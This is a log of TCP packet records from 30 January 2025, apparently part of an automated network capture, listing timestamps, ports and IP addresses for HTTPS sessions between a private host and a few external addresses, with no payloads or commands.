Jan 30, 2025 19:26:25.833390951 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.833457947 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.833462000 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.833534002 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.833591938 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.833596945 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.885659933 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.885664940 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.921693087 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.921746969 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.921753883 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.921906948 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.921956062 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.921961069 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.922164917 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.922183990 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.922224998 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.922230005 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.922528028 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.922584057 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.922589064 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.922673941 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.922677040 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.922698975 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.922765970 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.922770977 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.922838926 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.923475027 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.923561096 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.923578978 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.923629999 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.924369097 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.924426079 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.924464941 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.924520016 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.925265074 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.925322056 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.925364971 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.925420046 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.925457001 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.925510883 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.926243067 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.926309109 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.926352978 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.926410913 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:25.927151918 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:25.927210093 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.012439966 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.012525082 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.012556076 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.012658119 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.012666941 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.012684107 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.012727022 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.012772083 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.012833118 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.012837887 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.012896061 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.012900114 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.012985945 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.013051033 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.014405966 CET	50055	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.014415026 CET	443	50055	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.030003071 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.030035019 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.030100107 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.031277895 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.031290054 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.184357882 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.184465885 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.184568882 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.185244083 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.185277939 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.501300097 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.501631021 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.501652002 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.502743959 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.503051996 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.503168106 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.503232002 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.553813934 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.635548115 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.635689020 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.635750055 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.635763884 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.635869980 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.635926008 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.635934114 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.636035919 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.636089087 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.636096001 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.636193037 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.636277914 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.636285067 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.640100956 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.640166998 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.640173912 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.640276909 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.640332937 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.640338898 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.686083078 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.686367989 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.686394930 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.687525988 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.687835932 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.687969923 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.687975883 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.688009977 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.688024998 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.688116074 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.693557024 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.724168062 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.724354029 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.724421978 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.724437952 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.724559069 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.724605083 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.724611998 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.724715948 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.724776983 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.724783897 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.725064993 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.725119114 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.725126028 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.725222111 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.725280046 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.725286961 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.725898027 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.725955963 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.725963116 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.726074934 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.726125956 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.726131916 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.726771116 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.726830959 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.726838112 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.726934910 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.726995945 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.727003098 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.727613926 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.727691889 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.727699041 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.727787018 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.727839947 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.727848053 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.740195990 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.772970915 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.772980928 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813101053 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813196898 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813204050 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.813229084 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813286066 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.813352108 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813556910 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813582897 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813627958 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.813646078 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813657999 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.813707113 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813767910 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.813775063 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813818932 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.813827038 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813890934 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813945055 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.813951015 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813982964 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.813996077 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.814012051 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.814040899 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.814152956 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.814208984 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.814215899 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.814260960 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.814280033 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.814346075 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.814392090 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.814454079 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.814497948 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.814552069 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.814585924 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.814642906 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.815085888 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.815148115 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.815221071 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.815283060 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.815339088 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.815402031 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.852509022 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.852662086 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.852732897 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.852783918 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.852881908 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.852937937 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.852952957 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.853049040 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.853102922 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.853116989 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.853215933 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.853291035 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.853305101 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.856733084 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.856826067 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.857386112 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.857456923 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.857470989 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.857561111 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.857614994 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.857628107 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.902262926 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.902391911 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.902395964 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.902429104 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.902468920 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.902539968 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.902600050 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.902610064 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.902659893 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.902702093 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.902720928 CET	443	50056	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:26.902781963 CET	50056	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:26.903934002 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.941193104 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.941376925 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.941464901 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.941478014 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.941508055 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.941564083 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.941867113 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.942224979 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.942286015 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.942301035 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.942423105 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.942476034 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.942490101 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.943339109 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.943414927 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.943428040 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.943525076 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.943579912 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.943593979 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.943696976 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.943757057 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.943768978 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.944078922 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.944143057 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.944155931 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.944236994 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.944294930 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.944308043 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.944991112 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.945050001 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.945061922 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.945156097 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.945220947 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.945233107 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:26.997174025 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:26.997195005 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.032237053 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.032342911 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.032349110 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.032378912 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.032449961 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.032466888 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.032645941 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.032666922 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.032721996 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.032737017 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.032762051 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.032824993 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.032836914 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.032908916 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.032926083 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.033030987 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.033101082 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.033114910 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.033173084 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.033436060 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.033502102 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.033529997 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.033597946 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.034301043 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.034370899 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.034404993 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.034462929 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.034497976 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.034560919 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.035264969 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.035346031 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.035387993 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.035456896 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.035480022 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.035545111 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.036292076 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.036362886 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.036389112 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.036457062 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.040375948 CET	443	50053	142.250.185.100	192.168.2.4
Jan 30, 2025 19:26:27.040524006 CET	443	50053	142.250.185.100	192.168.2.4
Jan 30, 2025 19:26:27.040596008 CET	50053	443	192.168.2.4	142.250.185.100
Jan 30, 2025 19:26:27.122543097 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.122699976 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.122909069 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.122992039 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.123017073 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.123080969 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.123122931 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.123182058 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.123214960 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.123269081 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.123522997 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.123579025 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.123615026 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.123670101 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.124066114 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.124140024 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.124180079 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.124239922 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.124279022 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.124350071 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.124366045 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.124438047 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.124710083 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.124775887 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.124892950 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.124955893 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.124994993 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.125125885 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.125144958 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.125164986 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.125206947 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.125217915 CET	443	50057	104.18.94.41	192.168.2.4
Jan 30, 2025 19:26:27.125232935 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.125232935 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.125258923 CET	50057	443	192.168.2.4	104.18.94.41
Jan 30, 2025 19:26:27.145276070 CET	50053	443	192.168.2.4	142.250.185.100
Jan 30, 2025 19:26:27.145308971 CET	443	50053	142.250.185.100	192.168.2.4
Jan 30, 2025 19:26:27.145695925 CET	50058	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:27.145730972 CET	443	50058	104.18.95.41	192.168.2.4
